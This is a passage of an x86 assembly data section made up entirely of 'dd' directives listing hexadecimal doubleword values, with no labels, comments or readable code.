		dd 28F46116h, 0EB8EDC37h, 0BB0C08B2h, 48E8BD39h, 0A0075CEAh
		dd 0F6A10B80h, 3300B82Dh, 74E6E569h, 18891358h,	79FB22ECh
		dd 0D1FE6CF5h, 3FC31100h, 6818F03Bh, 53E00033h,	2846F28Ah
		dd 0B1136F5Eh, 5C2037BBh, 0B929B0F0h, 9F508F4h,	60391504h
		dd 4490E8C8h, 8205C2A3h, 66563BC9h, 0B0BF31C1h,	5C55ABD8h
		dd 17F4CF3h, 8FFFAEEAh,	924B693Ah, 0E018BB41h, 94673971h
		dd 94919490h, 0CFB06A87h, 801CC7E0h, 0C4006ECFh, 3ED9115Ah
		dd 9122BAE9h, 30231EFCh, 30D78BF1h, 4E9EFD00h, 52FFB721h
		dd 0E0400CD1h, 9C59AE2Ch, 0F4063CA1h, 0E2009FBDh, 0F77B7A7Dh
		dd 78ABA55h, 0D3CD821Eh, 8E1C2044h, 0E400838Ch,	0EDD906A1h
		dd 0D4B30AE7h, 0EC006810h, 0C99D04CBh, 0DF012E31h, 68A162Ah
		dd 0A1D71786h, 0F192BA82h, 68C0D822h, 0C012FAF2h, 841EC517h
		dd 1BF0B4E6h, 0E88F31A3h, 382FE0E9h, 6A8281B0h,	8C45D349h
		dd 27BCD888h, 3C20B9A5h, 741F12AFh, 0B639E018h,	1C51439h
		dd 0C2E6E3F3h, 4177460Ch, 222C8B3Ch, 0D2330BFCh, 375F842Eh
		dd 0C451C4A2h, 8E88E423h, 5C096134h, 83284A9Dh,	82E86F24h
		dd 0FD60E064h, 37A71666h, 8704324Dh, 812F304h, 1380AD2Ch
		dd 4EA725DFh, 0D12D1F2Fh, 99050A36h, 6F1EA4h, 0B8EBC69Fh
		dd 8C289B31h, 47516028h, 8CBF0A8h, 2AEB2E04h, 0F3220E23h
		dd 88AC3910h, 0B1C03C9Ch, 9BCDE3EEh, 9F7300B6h,	0DCC23BFEh
		dd 0C90174EDh, 6E7F21Ch, 2C706B64h, 3B3831B8h, 80E32339h
		dd 0CBDC6659h, 4657BBh,	2E9A374Eh, 7D6C3F26h, 0FB3A4700h
		dd 6B39B4B1h, 80BB6769h, 0C9B714C1h, 74DC0048h,	8F22D366h
		dd 1328719Eh, 3B936EDh,	1BAF6245h, 0E85187F8h, 212FAE04h
		dd 38A0DEBBh, 84B25406h, 2482015Dh, 38E68DDDh, 142267h
		dd 68B151Fh, 7CD2CFh, 0D77548C0h, 0BA5A7DEh, 9D463614h
		dd 4E8B0C08h, 5CBA29CEh, 8D2201Eh, 438BA770h, 0BE1100CDh
		dd 0F0BB75Bh, 0B91DD358h, 0CFC289C0h, 0FD008B4Bh, 0DB559EE4h
		dd 0C462Ah, 607549AEh, 8AEC6980h, 0BD6F4E01h, 8CD18797h
		dd 0C56C06C4h, 0F9D4911h, 1C061214h, 310A78A1h,	0FC572EBAh
		dd 0F374D140h, 47F70013h, 69309E23h, 1E5C07C3h,	0FC228Ch
		dd 0D8B34F4Ch, 0F442D6C1h, 0DD589Fh, 0B820E92Dh, 8D3ECB0Bh
		dd 5C20654Eh, 0A6C54Ch,	0FC46C82Dh, 51D63B42h, 4E1134Ch
		dd 1F209EFAh, 0AF0824A2h, 0A3A89F91h, 8D3AA901h, 0B9F207D3h
		dd 2985060h, 4FAE6188h,	5AC2A5h, 3CF61702h, 10898E6Bh
		dd 0EB004B36h, 0BE2EA1D6h, 5DDDD9ABh, 661130E3h, 0A32801B2h
		dd 17BD3551h, 0A3AD8FF0h, 5868D00Ch, 0D779015Ch, 808C1551h
		dd 361FF0BDh, 3CF7CB03h, 1CC3EA6Ah, 0D7764731h,	0F6040268h
		dd 0C8222BE0h, 220D8B1h, 0F0F97A83h, 3C40701Eh,	0C0912EA2h
		dd 68CD4964h, 0EA0BF062h, 20109117h, 0F100C4F4h, 3C06581Fh
		dd 4BE43D0h, 3946A8FCh,	2B548861h, 0DBC51501h, 2EC2E4E3h
		dd 583375FDh, 88C44E10h, 9D2804A2h, 23805C42h, 5556AE1Eh
		dd 1C7F589Ah, 0A38E4F80h, 0C50E6F6Ch, 0F280C99h, 0F7C12426h
		dd 88B408A4h, 4100847Bh, 0A57EBEB7h, 0DB93C4h, 59CDFD36h
		dd 0C290027Ch, 31BA2F02h, 662A8C99h, 0F9797340h, 22861C08h
		dd 7491DEC1h, 936CFE80h, 0B199ACCh, 0D1B7EBE7h,	0C004900Bh
		dd 0C96C2141h, 0FB7FC110h, 3A1884F3h, 0BB43DC64h, 31283035h
		dd 48EE3423h, 5E195501h, 0BFEB3963h, 2E34470h, 25F4B41Bh
		dd 20F17011h, 85493848h, 902CC52Ch, 506000DCh, 932C5DCCh
		dd 0C0F036Eh, 60FEAC5Ch, 32D9EECAh, 2FB92CFBh, 846C0628h
		dd 0E24558B8h, 0B63A9030h, 17C4E098h, 161DF046h, 40404AD9h
		dd 593913FDh, 3A8D13BAh, 0DE5CC962h, 48088F19h,	0E08B8D02h
		dd 9FD46h, 0F752F0B1h, 0E789320Eh, 21996E48h, 24AEA73h
		dd 1F34FCh, 0F06050C8h,	0B138F0Eh, 7F462400h, 0E935DED9h
		dd 74E54422h, 9029A500h, 0F3305C9h, 0E6721216h,	47E42753h
		dd 0C2136477h, 0C448B460h, 0AF00E8ECh, 0B6FB12F6h, 0FFD1529h
		dd 6E74965Ch, 757F47C0h, 34028411h, 6CD0A71Dh, 3688C0C6h
		dd 0B4EB4C4Eh, 0BE2A64C0h, 0F44C416Dh, 55E1007Ch, 13480481h
		dd 5FAD0DFBh, 0D8A9DF24h, 2003F79Ch, 6E668E3Dh,	0FB7CA03Bh
		dd 9050A94h, 4498874Ch,	0CC30C5D1h, 0C629A2B4h,	0C439F8F6h
		dd 121500E1h, 0ED17B8CDh
		dd 9600C519h, 0CFF053A1h, 5EAA72Ah, 0F4D5A9B2h,	0B5BC4B1Dh
		dd 134B825Dh, 505223h, 8F865E10h, 2E847736h, 2550800h
		dd 58AC3226h, 0BDA10015h, 878E2766h, 17002E6Ah,	0F94D34C9h
		dd 0A9E4914h, 25376EC6h, 8F8E0A08h, 60E42614h, 8B668C58h
		dd 0E5DFC500h, 0F8509378h, 44D8009Dh, 64BAC363h, 0D758ED45h
		dd 0C60B71C8h, 60C0257Ah, 481CE4h, 0B64BC22Fh, 14BD91AEh
		dd 7FC81012h, 0A3B3C820h, 223F0918h, 0C0802911h, 0EBD95625h
		dd 86322802h, 7AB1F461h, 0F18C00FCh, 9CF37E9Dh,	0B40FF59Fh
		dd 0DDC3CBFEh, 0C10C0B4h, 8204FBCh, 0BA384BB8h,	547D00E4h
		dd 0E2D851EEh, 131D3628h, 0FF18BB8Fh, 0A8E12391h, 42FEB0h
		dd 7586373Ah, 2C6002E9h, 8A444500h, 904D353Fh, 0C06E7AD0h
		dd 0F1050478h, 8551B509h, 350801B8h, 17144025h,	0C997320h
		dd 28140B00h, 0D455248Eh, 464BB4A9h, 29389C5Ch,	12E7AA00h
		dd 7E65B128h, 0C7E00040h, 9D47A010h, 9008056h, 0E960484Dh
		dd 0B8B4968Fh, 0DE101E00h, 1C91007Bh, 0A645E0F4h, 8A1559C3h
		dd 7CE2FD22h, 0E6007A3Ch, 29B25604h, 6C3E7C8Bh,	0A1242F91h
		dd 0B88FBAA4h, 7047860h, 54DA833Ch, 90D1A151h, 295983BBh
		dd 0CB317287h, 0DAC7F1F1h, 4996D0h, 0D8F8927Ch,	3C018AF2h
		dd 5704C1FEh, 0DBC684E9h, 0E01260E6h, 0A2249032h, 2AF9DFC3h
		dd 0D6747460h, 3A173A2Bh, 0CACB0077h, 819E16F8h, 0A707FACCh
		dd 0B685DCD1h, 2C8C5E40h, 48E67201h, 520044C6h,	8A14989Ah
		dd 4513D22Ah, 6098AE99h, 38BB29AFh, 3C400D0h, 64131626h
		dd 0C517AA12h, 39946C30h, 473CB657h, 19A282BBh,	0E06524C8h
		dd 3C362184h, 0BD00E211h, 8E093DC2h, 7600D0F1h,	1CC6E7B3h
		dd 0B86DFF69h, 41AE6072h, 0E07CEFC0h, 263B3112h, 0F28B9C02h
		dd 0B28C450h, 0AFEAB3D1h, 69C65C86h, 1209AEF8h,	549A674h
		dd 0B8E4C4A8h, 4B2C5BE0h, 0F0139C24h, 4A6B66A0h, 1F449B05h
		dd 0CC008AECh, 0EBB30D16h, 86C8B91Eh, 1919998Eh, 0E48DA226h
		dd 1A56AF41h, 88C8A470h, 5400E729h, 3F234305h, 794978Eh
		dd 64CF0CF4h, 0CBA7806Eh, 0AF4C08D6h, 289D0048h, 0A0C6363Bh
		dd 7CD611h, 0F393A150h,	0CCA013DAh, 8B884034h, 9A9F0139h
		dd 7A82833Fh, 2280DDECh, 4B340344h, 0B00D15C0h,	503788C6h
		dd 13B70823h, 0F5BE695h, 0DB21F96Ah, 0D0E765CFh, 0C24DA31Dh
		dd 44398918h, 0B04550D0h, 890584C7h, 0DC5D9B49h, 0BE82D5C0h
		dd 0E0D0FF88h, 89AD6144h, 48693915h, 0A0609188h, 5E3B3619h
		dd 0B6A90089h, 0AC52C03Ch, 1402DAEDh, 9F8E1365h, 8CF4807Ch
		dd 637FBCFDh, 743C39B4h, 0C587C9B0h, 9D1E0D0Ch,	8A9139h
		dd 0ABE4FF4Bh, 26D121A4h, 9A0A5500h, 9DFD01CBh,	0F96B2F3Ah
		dd 0FC595092h, 0E7368440h, 0B046E4F5h, 0C6000A2h, 3B570516h
		dd 0A400EA02h, 43D5FCDh, 0F21ADCD2h, 25A6096Dh,	505929CAh
		dd 8EF20800h, 0AB8DA0h,	0C9F36659h, 627E2AEBh, 4ABC044Ch
		dd 221269A8h, 0AF604F70h, 5F3297C0h, 5103A2ADh,	0CA1E294Fh
		dd 0C3982CEAh, 8B2F3EDCh, 0DE35EC18h, 0D58ECB03h, 71F81D1h
		dd 0CAB29AB0h, 6692B0DCh, 0AC0379A2h, 25C87834h, 1C18C63Ah
		dd 0BB0A0F6h, 5C831975h, 99A89684h, 1C17DB27h, 0A0279D2Bh
		dd 50BA8F50h, 0EF290086h, 1E6A9901h, 470B4EE8h,	9851E478h
		dd 0B4E79850h, 28964B4h, 729D20B6h, 0FFA85068h,	4A8803CBh
		dd 4285098h, 34D2A6C0h,	0F01DF309h, 7F84451h, 0DCCEE177h
		dd 0C41C85F5h, 0E708009Ch, 0A00FF8AFh, 0BB25540Bh, 9C0000EBh
		dd 4A2C1FC3h, 0E40C5DAAh, 0C9C09758h, 702954h, 145C932Fh
		dd 259FEDBFh, 68E09964h, 96165E87h, 6C001807h, 0A6AED661h
		dd 10BE5CC6h, 74310841h, 0FA9D1402h, 13D107FCh,	70A206D7h
		dd 1EA95CCh, 0FD6BDC04h, 0D141C455h, 37FBC666h,	0F9130BF8h
		dd 2F0C5E6h, 0EA41BCB4h, 0DE2C443h, 0A164A021h,	1820332Bh
		dd 0CDF7B8C0h, 0FB748300h, 676AD54Ch, 0F720522h, 0F65CA981h
		dd 18BF39C8h, 8E41EA56h, 2B490372h, 18B4E496h, 8899AC2h
		dd 69007466h, 1B487F0Ch, 2BB170h, 61CF4C8Ch, 8F3DCA1Ah
		dd 0E2FBAD3Dh, 270A38B1h, 128B73EBh, 34C7A0A7h,	0B7008621h
		dd 0A0182C5Ah, 1EF01937h, 46B5B0h, 8647EAA8h, 38003AAEh
		dd 0C312C2BEh, 639D2817h, 0DB7B5143h, 11D9C4F0h, 4E857A03h
		dd 0A190AFh, 3DE55D71h,	20032992h, 8D0D5200h, 0E8ED238Eh
		dd 24867E51h, 11D8995Ah, 7EDE0141h, 0CA0A5F21h,	9AF7BDE4h
		dd 29F89034h, 12F034BAh, 7150E423h, 4D006273h, 382A9260h
		dd 4CB3131Ah, 0C20088D1h, 1BFA8E2Eh, 0B894EBC5h, 0B9120D00h
		dd 4CBBA18Bh, 1680A83Ah, 8EA586D3h, 0CCC9A625h,	0DD55006Ch
		dd 5B31AFFAh, 8700C86Fh, 7CA7A853h, 9824D5DEh, 0ED820CCh
		dd 85D31219h, 9315B148h, 91A17BF0h, 48C50BAh, 0F800E126h
		dd 87655BD2h, 62D3EB17h, 0C8CD386Dh, 756B4820h,	58817389h
		dd 0F101A0D9h, 39BACA08h, 0A771BAE8h, 3A10116Ch, 6CAC000Bh
		dd 86921A40h, 82BA0706h, 0F0D8B4BCh, 0EE786468h, 0D7F11116h
		dd 249C7882h, 0B6F4C213h, 651DB420h, 361E27C7h,	45DC8443h
		dd 40126A39h, 0FA000CF3h, 0C7A4F037h, 0FB00AB50h, 0CF03436Ah
		dd 319CE3h, 6B3FDA76h, 0F7AE16ADh, 5BE73Bh, 58B66C2h, 1E713C60h
		dd 65CAB5h, 1135FC08h, 8D12E8FEh, 0E20616F6h, 0D3C86B39h
		dd 993C8878h, 4101E500h, 72DB19D4h, 0FCB61671h,	650F0069h
		dd 177C37C0h, 0CE5CE913h, 0F0B270D4h, 0C9304988h, 53E3C3C1h
		dd 3D1DA811h, 0B0D040B9h, 7F5E5524h, 39D78700h,	1BB88D28h
		dd 49800094h, 2713B93Ah, 34013C11h, 6BBE21A1h, 48920FA5h
		dd 8ECC02A7h, 9C050B3Ah, 3D9C88h, 0EE7309ABh, 6F5A0DD2h
		dd 0BB962900h, 7CD8D795h, 240C90EBh, 3A704C5Fh,	28EA8C00h
		dd 8DEE7535h, 0AE099C73h, 108E639h, 0AFBAED78h,	675D2883h
		dd 32A8BEE7h, 8C5F9D26h, 22B0FC22h, 307C22BBh, 1CBCAE40h
		dd 4C34927Dh, 6F3B94C3h, 1E0121EFh, 0EEC5A31Fh,	4E0548F1h
		dd 18803E38h, 2EA413F6h, 1140EBB9h, 248C08B5h, 221380ABh
		dd 0B1903C71h, 3A0011F4h, 8F238146h, 24C47FC2h,	96E02C06h
		dd 8D989084h, 0C755CB24h, 0FC187420h, 0B48E6624h, 9D1D123Fh
		dd 45C17090h, 8AB60ECAh, 8980C028h, 85A1D42Ah, 5E04F4B0h
		dd 14651C21h, 360000F2h, 7888FA16h, 5512C339h, 18E2E18Ch
		dd 4B69A07h, 6BC0DFDBh,	5C16CE7Dh, 0E3321F03h, 98EA0F89h
		dd 24457B80h, 9ECA63Fh,	0F8D22D64h, 88A0C0B0h, 0AE00E8E6h
		dd 2A491C28h, 0F0702190h, 3A7D0B45h, 0FC44FF6Ah, 13401896h
		dd 955F3D26h, 0B8065023h, 8030293Eh, 8BA478Dh, 2DF8157h
		dd 9AD98BEBh, 0E87956D0h, 28CFD200h, 82B8F6h, 0D1ABFCCh
		dd 0D4D83808h, 125CCD3Fh, 0D4B3FC68h, 4C04E6D2h, 0AD8B002Bh
		dd 0E7D7AB35h, 215A0153h, 6757D980h, 0D8F2CCF6h, 0BEF56502h
		dd 5A2315BFh, 0AA7A9Ch,	95FD7DEBh, 7160664Fh, 5C907002h
		dd 8204BA96h, 0C0091AFBh, 9FE729h, 0A02F1254h, 0CDA1C0Eh
		dd 0BA1F893Ah, 1BCD02F2h, 5630E095h, 0FB1582C0h, 20E228B5h
		dd 2423E844h, 955A94C6h, 7CF5A900h, 779CDD95h, 0F793E200h
		dd 8567FBBBh, 8425513Ch, 798642Ah, 124F53D8h, 0C8604348h
		dd 0B174351Eh, 1503D58h, 242B8458h, 202AED13h, 5BC4A4D8h
		dd 0AC7DE000h, 1167D3ADh, 3B63F840h, 0A50052F8h, 8F0760A7h
		dd 6C9804BFh
		dd 2B74920h, 0E022F095h, 14681D43h, 458D78Ch, 0E8EA2238h
		dd 0F2261817h, 0AE9284Bh, 4F8BA280h, 0BC2C88E3h, 29B9E28Bh
		dd 0A000FCC6h, 8C9544F0h, 3C4F7BDFh, 0DD0040AAh, 0D9ED782Ch
		dd 460E473Ah, 0C25EFCA4h, 52B4E66Bh, 0EA3C44DCh, 0F0D0074Eh
		dd 8DC625h, 0F34B17E7h,	5C247F89h, 0A9160B3h, 300C205Ah
		dd 0D8ECCF67h, 6569531h, 503012D9h, 62EF84DCh, 0ABF4C070h
		dd 10B2266h, 99085E5Ch,	0F4F806E0h, 0CC0C1C91h,	0B85FFC6Eh
		dd 98408A72h, 3B00A97Ah, 0F55604E0h, 14811DDBh,	0A46CF229h
		dd 250D7610h, 6F0A19Ch,	0FBDCF3D6h, 0C3FD1389h,	0EA6C0E09h
		dd 10472999h, 3A0DB46Eh, 298055D9h, 89D8935Ch, 874BFDC2h
		dd 0A51FB093h, 120EA890h, 0F1563D9Dh, 5ECB3580h, 0D5CC4D8Bh
		dd 0B4647A12h, 3528D8E7h, 0E0EA0148h, 0AE108682h, 228864FCh
		dd 0A3E1B661h, 0F4500D8Dh, 6A58764h, 0E8261D49h, 9DF84153h
		dd 2E00CAF4h, 3D31FC4Fh, 3A75D5B7h, 0FB293D7h, 845E3A60h
		dd 0C8B1B80h, 585BB814h, 9F22F4F1h, 31E01204h, 44FD0AADh
		dd 0B3C19E80h, 9D025374h, 0B4AF418Fh, 5667C0ECh, 0FC5F01E3h
		dd 0C315792Ch, 73603D5Ah, 0C8B72300h, 0E040CE68h, 2CAB502Bh
		dd 96C883Dh, 0EF64041Dh, 0A4499A00h, 0A7B935h, 1ADF4AA5h
		dd 69CAC239h, 0C880104Eh, 39A0EAEh, 42EC51F8h, 78C33E8Fh
		dd 0F283DFD3h, 0EFC243F0h, 9EBBF01Ch, 0B0413C8Ah, 0FD798A60h
		dd 8E2913B4h, 44A4304Eh, 2E005789h, 1B2F9232h, 3F53BCCDh
		dd 1A80DBF7h, 7B26BAB1h, 0E325FC87h, 16644809h,	406E4BF4h
		dd 0CA048BC0h, 0B1057CCCh, 2C8C86C9h, 0B72F0802h, 0BB6C61F5h
		dd 2AC1A211h, 392E2420h, 0B3C400AFh, 0D51012BBh, 0B496F2D9h
		dd 7E9D1303h, 0B4390ED0h, 0D0766470h, 52B88CFCh, 0C1C9CD25h
		dd 785038B8h, 7A852F89h, 90267BC5h, 0B2B144E8h,	0E0BEC00h
		dd 4C132EE4h, 449E302Ah, 0A557D439h, 78372600h,	609D32Bh
		dd 0A8CF88B3h, 58641D00h, 22AEF4B1h, 0B64B0174h, 3911DDB9h
		dd 0B82CF846h, 1F806E4h, 1974C700h, 0E67C48EAh,	0FD4F00C3h
		dd 0B72AFFE2h, 0E300CBCEh, 5FE533B8h, 0E654E9DFh, 90E6A2h
		dd 0D646BE7Fh, 176514E1h, 0A0713A32h, 601961B4h, 91157C69h
		dd 263E8CA9h, 94199C80h, 0E2716EBEh, 0A736E0B7h, 549903EBh
		dd 4D51A585h, 28D1B89Ah, 5121BB0Bh, 29420040h, 0E60E99C1h
		dd 6F00E7F0h, 0EC4074DCh, 0E2EDA03h, 4BD067EAh,	0B02C480h
		dd 9C4FC7EDh, 54707443h, 3D759980h, 1DE952F8h, 0E7251065h
		dd 0BA2588E4h, 90D0C420h, 57230BD1h, 0B8EA46h, 0CA00915Bh
		dd 83512DA0h, 30D69BDh,	171355Ch, 0A4FB42D5h, 0DB41B907h
		dd 8490E096h, 0D4D7DCh,	2EC92008h, 0C381BBBFh, 7DD62A00h
		dd 0E4AB0D18h, 56FB01DDh, 8B54CCE8h, 0AFF4F4C9h, 2358105h
		dd 0B816D9CBh, 4B8488h,	30EA79DDh, 4662FBE8h, 5092AF75h
		dd 0E01610F3h, 88B54448h, 29134E0Fh, 0E0E9BBA3h, 0EA9FB351h
		dd 0E62827F8h, 0C04AC86Ch, 0C4A44053h, 90DB74C3h, 50CCB490h
		dd 94F4EEFFh, 0B13C3F1Ch, 0D3024F41h, 182D2EE0h, 24131527h
		dd 0E31E83E8h, 1D0BC31Ch, 2A8AE14h, 0BBDE6FCCh,	0D07223h
		dd 8833ED30h, 0EB69CB57h, 51818900h, 0E091AE9Eh, 0C8100A16h
		dd 0E048C7A5h, 0DE91FB41h, 24B67F03h, 0A84C5ECDh, 16D87D6Ch
		dd 0B0B1F460h, 5A84FC78h, 668C283Ch, 9B5CE200h,	8F21485Bh
		dd 98634CECh, 0D0AF062Dh, 64D15000h, 0B675A644h, 168D213Eh
		dd 0F4A48E1Fh, 0E172B0h, 0DDC7F5B4h, 5C954C20h,	41788001h
		dd 8AB6104Bh, 0C84B3C32h, 31842C50h, 34A0A58Ch,	88FC0832h
		dd 7EEA6984h, 8356D83Eh, 3C2F8695h, 0ACA0E0E1h,	6107011Fh
		dd 395A08EDh, 9C87DA5h,	108E18C5h, 29441D0h, 0A31D9208h
		dd 0D360D410h, 9900232Bh, 9C7790ABh, 1E29AEF1h,	0A4EEB0B3h
		dd 3C182788h, 0B8022BEFh, 26686D5h, 0AC336313h,	0B43198E8h
		dd 0A5AE8008h, 7CC030E9h, 0AAAD005Fh, 3E610A08h, 53023263h
		dd 0E629E83h, 6451B6h, 8C67D841h, 0B13E6149h, 37CD0A4Dh
		dd 7D00EB4Ch, 0E78210EEh, 0F407B72Ch, 2E4568C7h, 10C1A8B8h
		dd 0AC46D762h, 28602428h, 3B6F5A03h, 0AC00BE4Fh, 5142013Bh
		dd 482D0FA2h, 0BBB061B6h, 0F43F5610h, 5403C27Bh, 0CD9FEA18h
		dd 0E5B122AEh, 0D1EF5800h, 0D2D06392h, 68273E78h, 0AC0E500Ah
		dd 427E8FA0h, 3512DD81h, 0E72BD06Bh, 0CBAEEA1Dh, 38E32C7Bh
		dd 344902Fh, 1DC000A3h,	849C307Fh, 6600543Ah, 213516DDh
		dd 322B7C57h, 0B5F040CFh, 62B8B120h, 351814D2h,	28A8D8E9h
		dd 2C221624h, 751D3540h, 583E0DBh, 0A074AC37h, 3495C0DCh
		dd 4517C926h, 5C489632h, 0EB1480B6h, 337B557h, 22B81A08h
		dd 66398B33h, 28406459h, 633AE4h, 0A0946F49h, 0A90B683Ch
		dd 8EBA8000h, 0D4333891h, 13DD3C3Bh, 0A0087DA8h, 4BBBB280h
		dd 68E8881Fh, 98957784h, 0D1511217h, 0B1648240h, 77E8DA20h
		dd 0A6020B7Ch, 0D0008E15h, 0E936C581h, 0FE492C00h, 0C7BBDF8Bh
		dd 0CEA17362h, 8EC0CE18h, 0AF86B206h, 0C6F642Ch, 0D047BA03h
		dd 92DF040h, 4BF5487Dh,	0D6B95400h, 8620E544h, 0BE0D7F02h
		dd 0D48365B2h, 9A0306D0h, 341040C2h, 5508D1D6h,	20037A4Ch
		dd 3DD5FBC7h, 3926C418h, 58960F84h, 1C3B5282h, 832CE485h
		dd 0A87B828Ch, 0B13E530Ch, 0E773090h, 0BAD90D24h, 7B4427C1h
		dd 8CE8900Fh, 84C7B410h, 0ED22872Dh, 1B9F401Eh,	10D15322h
		dd 4F3D94Dh, 0C7B589CEh, 3A25AF7Ch, 90B4E46Bh, 0F8E445D4h
		dd 26009549h, 0A013AB2Bh, 2F179664h, 1B708EFAh,	12F9A7Bh
		dd 0EA0C38C5h, 0A1080ACBh, 4F4C082h, 0A9B8FEh, 528DBD15h
		dd 74A34CE5h, 3309C700h, 4A1EF79Fh, 6CB9572Ch, 1B393182h
		dd 0C7B040CBh, 5D810072h, 69CAE930h, 470CB7F6h,	20E1E071h
		dd 0E39B0A0Ah, 7820FCE5h, 148C5A1Eh, 748FA5BCh,	68C0D058h
		dd 0F335D241h, 0D4E8BC60h, 37D21D9h, 0B9F2C208h, 0CF889D8Ah
		dd 1A0BC4CBh, 188CC1B1h, 0FD19144h, 761366ADh, 38F854E3h
		dd 4637C5B0h, 821E7B12h, 18E37016h, 0E7E0CC4Bh,	9BC76200h
		dd 4CA1C98Dh, 92100076h, 70DCEB12h, 0F8658AA5h,	0A0880769h
		dd 4402148Eh, 0F200ED03h, 0E9F93CAEh, 0F89145E0h, 8B090E09h
		dd 0F7280511h, 0EDF6EC20h, 0F8A1BD22h, 0F447C818h, 8D01954Eh
		dd 0BFBD602Bh, 96F8C977h, 3798A0ECh, 8F7F1Ah, 4989CC4Ch
		dd 48BF166Ch, 0E75C8605h, 0E8F8EAA8h, 7F826880h, 5BF89C85h
		dd 55B8AC00h, 493FDC7Bh, 95710076h, 649FE736h, 0E92DE478h
		dd 6DB82106h, 15C8C091h, 0E0621241h, 6A88E531h,	2C378420h
		dd 124D1F7Dh, 0C080DCBCh, 0B9152379h, 0A22FBAEBh, 0B34648Dh
		dd 605C7312h, 0AE827000h, 54001BF7h, 8B0FCEEEh,	1D9FB06h
		dd 7548EAA4h, 470DCB05h, 34F050F2h, 362CD313h, 440B50B3h
		dd 83947BC0h, 5F1ADDC6h, 1742EA80h, 3B4E1F03h, 0E9C10C2Ah
		dd 29B9E39Ch, 906E7787h, 0E669700Eh, 5703D2CAh,	85520C33h
		dd 0CF06B8DFh, 100A00B2h, 8B456AA7h, 15009466h,	7B58526Dh
		dd 483EE8h, 78D6C330h, 891618C1h, 0BB819200h, 0D4AF3540h
		dd 2AE760CBh, 9B327FA6h, 8517650Fh, 0E4C0A0E5h,	0C6888h
		dd 45AB4E46h, 50D1CE93h, 8EBB38C3h, 0F0DCF07Ch,	5AA0338Ch
		dd 48E04D51h, 3A037B2Ah, 0E4DB5B81h, 32200387h,	3958F331h
		dd 64EE0E7h, 4D60D067h,	76A97438h, 385A79EAh, 989D8389h
		dd 4CA00C8Ah, 81399120h
		dd 0AE58F77h, 281E03E4h, 0B7900F0Eh, 0A006AE35h, 0D60010ECh
		dd 0EBFF7A75h, 0E627C5Eh, 4D6D802Eh, 0D8E3F80h,	2C07299Ch
		dd 51056E6Ch, 9457CD10h, 0C8F2F6h, 92E1FD9Bh, 137A873Fh
		dd 3D99E21Dh, 0BFB00587h, 0FFF5CBA0h, 0C6B6001Eh, 0ED22102Dh
		dd 3FE4EB0Ch, 2700AFF6h, 4E4375C4h, 0E4D418h, 8594F725h
		dd 6D8CF4B5h, 0BE7D3524h, 0E7A77B00h, 3BC21DDh,	2E48F098h
		dd 3783F22Bh, 3DC8D5CBh, 3800CC68h, 0A09C5009h,	1B34204h
		dd 0B2B606E3h, 0D8758A33h, 9B00E2A6h, 96E98315h, 1B1E7Eh
		dd 58386CEAh, 0C8D74FF6h, 11143C30h, 74CE1113h,	0E0F0E3h
		dd 65441A36h, 3377ECC1h, 0F4BF500h, 116A1B16h, 5C4C050Ah
		dd 8E9E03Bh, 6E847814h,	1A80D827h, 7A3F70FEh, 4A5B005Ch
		dd 387E0D67h, 4800DA41h, 81E0F015h, 3E9EE9FBh, 911EC047h
		dd 0AFBAC07Eh, 635FD238h, 2ABFE100h, 0D8EA85B4h, 0B9910031h
		dd 0FE17904Bh, 0B60171DDh, 5D96AF1Ch, 7DD405B0h, 11B100C6h
		dd 0C8CFA7C7h, 9300378Bh, 3A6C093Fh, 2D1513h, 73F2F050h
		dd 8BF93B1Dh, 0F771B103h, 997C7F26h, 0C1D8AE1Fh, 0FDFB0062h
		dd 0C8CB5CB6h, 5500C49Eh, 0D1810DFCh, 148BA2C9h, 9C59BD7Fh
		dd 5A1DC200h, 32229A43h, 0B17E9800h, 75242DDAh,	0E55E099Ch
		dd 6A0E1A3Fh, 258E2EA0h, 0D004803h, 51BCD70Eh, 55DCB1h
		dd 3FDD2D5Dh, 5A924EEAh, 8739BA00h, 182A3C48h, 0A5CD3912h
		dd 4023919Eh, 2075AE7Ch, 4C004363h, 0E505720Bh,	0BE4279h
		dd 0DC76E39Ah, 0DFE99DB6h, 0A55F6A00h, 8E7A348Dh, 1E5728F7h
		dd 538A00F8h, 421BA6D7h, 90083C4h, 745FCC31h, 6CBE29h
		dd 438506CEh, 381A2CBCh, 0FAFBD600h, 0F1BD4D02h, 0CBA70704h
		dd 5092E51Bh, 6317841Eh, 75D48750h, 959D6400h, 2BD72199h
		dd 0F327078Dh, 5E11082Ch, 0D28046E9h, 37D0174Ah, 0C10E7E00h
		dd 7CFF4CAFh, 0B79100CAh, 0F639E11Ch, 9B0E9F71h, 0F36A2h
		dd 218168ADh, 0EC320765h, 0D069E3D8h, 0FD5AA1EFh, 0F86FD61Eh
		dd 0DD95B241h, 6C201641h, 213700F2h, 1CFDA917h,	0A1005FF8h
		dd 79B04E49h, 3C685661h, 6F815330h, 0CD9808DCh,	12F1602Dh
		dd 0A0E3C400h, 0DB9F70D6h, 976A0009h, 0DC29B01Ch, 1400732Fh
		dd 76771BCCh, 73D3B47h,	1F377CB8h, 1118A063h, 28C0BD2Fh
		dd 9C64CE0Eh, 8D39C440h, 90F8835Ch, 281D113Bh, 0C001BA5Eh
		dd 0B744B4E9h, 0C1878FB0h, 657D4B1Eh, 28D780FDh, 0EF033BC1h
		dd 772C737Bh, 23B097B8h, 477419h, 0A3E96F2h, 0E321607Fh
		dd 3698F403h, 98E5371Dh, 489F8Fh, 0CBDC0D73h, 0E8640891h
		dd 1BD9C300h, 0CFFDEF3Dh, 18A10E87h, 8C60CAC1h,	71ADCE7Bh
		dd 6E104400h, 0C3E70BAAh, 754000B3h, 6D6B1F80h,	7800E32Dh
		dd 47F9D38Ch, 0D2D4F7h,	0A5EF3323h, 0AFFD7137h,	0B7F5611Ch
		dd 5647F0C7h, 0BD6B0AE0h, 6FFA0085h, 0C7B8DA4h,	0C000C369h
		dd 31B284AFh, 6DB9530h,	4134FEB9h, 2B01100Fh, 0B53E6AE9h
		dd 94EC889Ah, 64290075h, 0D55317E5h, 0AA0FF27Dh, 0A03F6C72h
		dd 0B28D9F83h, 5A10502h, 0C75F082Dh, 3C850D1h, 0DE2E38BCh
		dd 38306E42h, 3E8C52h, 8DB42B58h, 7E12227Ah, 79F75E00h
		dd 0AA273BD7h, 2BB201F4h, 0D96695B7h, 0EFD4E015h, 9A08800Ah
		dd 0D0B980Eh, 0DBF701B2h, 0E8C44691h, 0D0EA9Eh,	899CACFh
		dd 6878D297h, 4BA7E0F7h, 3F317F3Ch, 0B0F900EFh,	6B41F25Ah
		dd 38E7003Bh, 0BE3CFAFFh, 0F00079BFh, 0D3AA423Fh, 1F7D4F68h
